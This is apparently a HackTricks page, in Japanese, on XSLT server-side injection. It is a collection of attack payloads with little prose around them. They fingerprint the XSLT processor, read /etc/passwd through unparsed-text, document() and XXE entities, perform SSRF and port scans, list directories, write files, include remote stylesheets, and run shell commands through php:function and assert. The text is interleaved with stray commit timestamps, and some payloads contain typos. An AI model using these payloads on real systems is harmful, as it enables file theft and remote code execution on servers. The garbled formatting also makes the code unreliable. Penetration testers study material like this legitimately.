2024-07-19 04:03:05 +00:00
# XSLT サーバーサイドインジェクション (拡張スタイルシート言語変換)
{% hint style="success" %}
AWSハッキングを学び、実践する： < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCPハッキングを学び、実践する： < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2024-02-06 04:13:43 +00:00
< details >
2024-07-19 04:03:05 +00:00
< summary > HackTricksをサポートする< / summary >
2024-02-06 04:13:43 +00:00
2024-07-19 04:03:05 +00:00
* [**サブスクリプションプラン** ](https://github.com/sponsors/carlospolop )を確認してください！
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
2024-02-06 04:13:43 +00:00
< / details >
2024-07-19 04:03:05 +00:00
{% endhint %}
2024-02-06 04:13:43 +00:00
## 基本情報
2024-07-19 04:03:05 +00:00
XSLTは、XMLドキュメントを異なる形式に変換するために使用される技術です。バージョン1、2、3の3つのバージョンがあり、バージョン1が最も一般的に利用されています。変換プロセスは、サーバー上またはブラウザ内で実行できます。
2024-02-06 04:13:43 +00:00
2024-07-19 04:03:05 +00:00
最も頻繁に使用されるフレームワークには以下が含まれます：
2024-02-06 04:13:43 +00:00
2024-07-19 04:03:05 +00:00
- **GnomeのLibxslt**、
- **ApacheのXalan**、
- **SaxonicaのSaxon**。
2024-02-06 04:13:43 +00:00
2024-07-19 04:03:05 +00:00
XSLTに関連する脆弱性を悪用するには、xslタグがサーバーサイドに保存され、そのコンテンツにアクセスする必要があります。このような脆弱性の例は、以下のソースに記載されています：
2024-02-06 04:13:43 +00:00
## 例 - チュートリアル
```bash
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
```
{% code title="xml.xml" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
< catalog >
< cd >
< title > CD Title< / title >
< artist > The artist< / artist >
< company > Da Company< / company >
< price > 10000< / price >
< year > 1760< / year >
< / cd >
< / catalog >
```
{% endcode %}
{% code title="xsl.xsl" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/" >
< html >
< body >
< h2 > The Super title< / h2 >
< table border = "1" >
< tr bgcolor = "#9acd32" >
< th > Title< / th >
< th > artist< / th >
< / tr >
< tr >
< td > < xsl:value-of select = "catalog/cd/title" / > < / td >
< td > < xsl:value-of select = "catalog/cd/artist" / > < / td >
< / tr >
< / table >
< / body >
< / html >
< / xsl:template >
< / xsl:stylesheet >
```
{% endcode %}
実行:
```xml
saxonb-xslt -xsl:xsl.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
< html >
< body >
< h2 > The Super title< / h2 >
< table border = "1" >
< tr bgcolor = "#9acd32" >
< th > Title< / th >
< th > artist< / th >
< / tr >
< tr >
< td > CD Title< / td >
< td > The artist< / td >
< / tr >
< / table >
< / body >
< / html >
```
2024-07-19 04:03:05 +00:00
### フィンガープリンティング
2024-02-06 04:13:43 +00:00
{% code title="detection.xsl" %}
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/" >
Version: < xsl:value-of select = "system-property('xsl:version')" / > < br / >
Vendor: < xsl:value-of select = "system-property('xsl:vendor')" / > < br / >
Vendor URL: < xsl:value-of select = "system-property('xsl:vendor-url')" / > < br / >
< xsl:if test = "system-property('xsl:product-name')" >
Product Name: < xsl:value-of select = "system-property('xsl:product-name')" / > < br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:product-version')" >
Product Version: < xsl:value-of select = "system-property('xsl:product-version')" / > < br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:is-schema-aware')" >
Is Schema Aware ?: < xsl:value-of select = "system-property('xsl:is-schema-aware')" / > < br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:supports-serialization')" >
Supports Serialization: < xsl:value-of select = "system-property('xsl:supportsserialization')"
/>< br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:supports-backwards-compatibility')" >
Supports Backwards Compatibility: < xsl:value-of select = "system-property('xsl:supportsbackwards-compatibility')"
/>< br / >
< / xsl:if >
< / xsl:template >
< / xsl:stylesheet >
```
{% endcode %}
2024-07-19 04:03:05 +00:00
そして実行します
2024-02-06 04:13:43 +00:00
```xml
$saxonb-xslt -xsl:detection.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
< h2 > XSLT identification< / h2 > < b > Version:< / b > 2.0< br > < b > Vendor:< / b > SAXON 9.1.0.8 from Saxonica< br > < b > Vendor URL:< / b > http://www.saxonica.com/< br >
```
2024-07-19 04:03:05 +00:00
### ローカルファイルを読む
2024-02-06 04:13:43 +00:00
{% code title="read.xsl" %}
```xml
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:abc = "http://php.net/xsl" version = "1.0" >
< xsl:template match = "/" >
< xsl:value-of select = "unparsed-text('/etc/passwd', 'utf-8')" / >
< / xsl:template >
< / xsl:stylesheet >
```
{% endcode %}
```xml
$ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?> root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```
### SSRF
```xml
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:abc = "http://php.net/xsl" version = "1.0" >
< xsl:include href = "http://127.0.0.1:8000/xslt" / >
< xsl:template match = "/" >
< / xsl:template >
< / xsl:stylesheet >
```
### バージョン
2024-07-19 04:03:05 +00:00
使用されるXSLTバージョンによって、関数の数は多い場合も少ない場合もあります：
2024-02-06 04:13:43 +00:00
2024-07-19 04:03:05 +00:00
* [https://www.w3.org/TR/xslt-10/ ](https://www.w3.org/TR/xslt-10/ )
* [https://www.w3.org/TR/xslt20/ ](https://www.w3.org/TR/xslt20/ )
* [https://www.w3.org/TR/xslt-30/ ](https://www.w3.org/TR/xslt-30/ )
2024-02-06 04:13:43 +00:00
## フィンガープリント
これをアップロードして情報を取得します
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/" >
Version: < xsl:value-of select = "system-property('xsl:version')" / > < br / >
Vendor: < xsl:value-of select = "system-property('xsl:vendor')" / > < br / >
Vendor URL: < xsl:value-of select = "system-property('xsl:vendor-url')" / > < br / >
< xsl:if test = "system-property('xsl:product-name')" >
Product Name: < xsl:value-of select = "system-property('xsl:product-name')" / > < br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:product-version')" >
Product Version: < xsl:value-of select = "system-property('xsl:product-version')" / > < br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:is-schema-aware')" >
Is Schema Aware ?: < xsl:value-of select = "system-property('xsl:is-schema-aware')" / > < br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:supports-serialization')" >
Supports Serialization: < xsl:value-of select = "system-property('xsl:supportsserialization')"
/>< br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:supports-backwards-compatibility')" >
Supports Backwards Compatibility: < xsl:value-of select = "system-property('xsl:supportsbackwards-compatibility')"
/>< br / >
< / xsl:if >
< / xsl:template >
< / xsl:stylesheet >
```
## SSRF
```xml
< esi:include src = "http://10.10.10.10/data/news.xml" stylesheet = "http://10.10.10.10//news_template.xsl" >
< / esi:include >
```
2024-02-09 08:23:12 +00:00
## Javascript インジェクション
2024-02-06 04:13:43 +00:00
```xml
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/" >
< script > confirm ( "We're good" ) ; < / script >
< / xsl:template >
< / xsl:stylesheet >
```
2024-07-19 04:03:05 +00:00
## ディレクトリリスト (PHP)
2024-02-06 04:13:43 +00:00
### **Opendir + readdir**
```xml
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< xsl:template match = "/" >
< xsl:value-of select = "php:function('opendir','/path/to/dir')" / >
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< / xsl:template > < / xsl:stylesheet >
```
2024-07-19 04:03:05 +00:00
### **アサート (var\_dump + scandir + false)**
2024-02-06 04:13:43 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl:copy-of name = "asd" select = "php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" / >
< br / >
< / body >
< / html >
```
2024-07-19 04:03:05 +00:00
## ファイルを読む
2024-02-06 04:13:43 +00:00
### **内部 - PHP**
```xml
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:abc = "http://php.net/xsl" version = "1.0" >
< xsl:template match = "/" >
< xsl:value-of select = "unparsed-text('/etc/passwd', ‘ / >
< / xsl:template >
< / xsl:stylesheet >
```
### **内部 - XXE**
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd"> ]>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/" >
&ext_file;
< / xsl:template >
< / xsl:stylesheet >
```
2024-07-19 04:03:05 +00:00
### **HTTPを通じて**
2024-02-06 04:13:43 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/" >
< xsl:value-of select = "document('/etc/passwd')" / >
< / xsl:template >
< / xsl:stylesheet >
```
```xml
< !DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" > ]>
< xsl:template match = "/" >
&passwd;
< / xsl:template >
```
2024-07-19 04:03:05 +00:00
### **内部 (PHP関数)**
2024-02-06 04:13:43 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< xsl:template match = "/" >
< xsl:value-of select = "php:function('file_get_contents','/path/to/file')" / >
< / xsl:template >
< / xsl:stylesheet >
```
```xml
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl:copy-of name = "asd" select = "php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" / >
< br / >
< / body >
< / html >
```
### ポートスキャン
```xml
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< xsl:template match = "/" >
< xsl:value-of select = "document('http://example.com:22')" / >
< / xsl:template >
< / xsl:stylesheet >
```
## ファイルに書き込む
### XSLT 2.0
```xml
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< xsl:template match = "/" >
< xsl:result-document href = "local_file.txt" >
< xsl:text > Write Local File< / xsl:text >
< / xsl:result-document >
< / xsl:template >
< / xsl:stylesheet >
```
2024-07-19 04:03:05 +00:00
### **Xalan-J 拡張**
2024-02-06 04:13:43 +00:00
```xml
< xsl:template match = "/" >
< redirect:open file = "local_file.txt" / >
< redirect:write file = "local_file.txt" / > Write Local File< / redirect:write >
< redirect:close file = "loxal_file.txt" / >
< / xsl:template >
```
2024-07-19 04:03:05 +00:00
他の方法でPDFにファイルを書く
2024-02-06 04:13:43 +00:00
## 外部XSLを含める
```xml
< xsl:include href = "http://extenal.web/external.xsl" / >
```
```xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
2024-07-19 04:03:05 +00:00
## コードを実行する
2024-02-06 04:13:43 +00:00
### **php:function**
```xml
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
< xsl:template match = "/" >
< xsl:value-of select = "php:function('shell_exec','sleep 10')" / >
< / xsl:template >
< / xsl:stylesheet >
```
```xml
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl:copy-of name = "asd" select = "php:function('assert','var_dump(scandir(chr(46).chr(47)));')" / >
< br / >
< / body >
< / html >
```
2024-07-19 04:03:05 +00:00
Execute code using other frameworks in the PDF
2024-02-06 04:13:43 +00:00
2024-07-19 04:03:05 +00:00
### **More Languages**
**このページでは、他の言語におけるRCEの例を見つけることができます:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET** ](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET ) ** (C#, Java, PHP)**
2024-02-06 04:13:43 +00:00
## **クラスからPHPの静的関数にアクセスする**
2024-07-19 04:03:05 +00:00
次の関数は、クラスXSLの静的メソッド`stringToUrl`を呼び出します:
2024-02-06 04:13:43 +00:00
```xml
<!-- - More complex test to call php class function -->
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl"
version="1.0">
< xsl:output method = "html" version = "XHTML 1.0" encoding = "UTF-8" indent = "yes" / >
< xsl:template match = "root" >
< html >
<!-- We use the php suffix to call the static class function stringToUrl() -->
< xsl:value-of select = "php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" / >
<!-- Output: 'une_superstring ao modifier' -->
< / html >
< / xsl:template >
< / xsl:stylesheet >
```
2024-07-19 04:03:05 +00:00
(Example from [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls ](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls ))
## More Payloads
* Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection )
* Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection ](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection )
2024-02-06 04:13:43 +00:00
## **ブルートフォース検出リスト**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
## **参考文献**
* [XSLT\_SSRF ](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf )\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf ](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf )\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf ](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf )
2024-07-19 04:03:05 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2024-02-06 04:13:43 +00:00
< details >
2024-07-19 04:03:05 +00:00
< summary > Support HackTricks< / summary >
2024-02-06 04:13:43 +00:00
2024-07-19 04:03:05 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2024-02-06 04:13:43 +00:00
< / details >
2024-07-19 04:03:05 +00:00
{% endhint %}
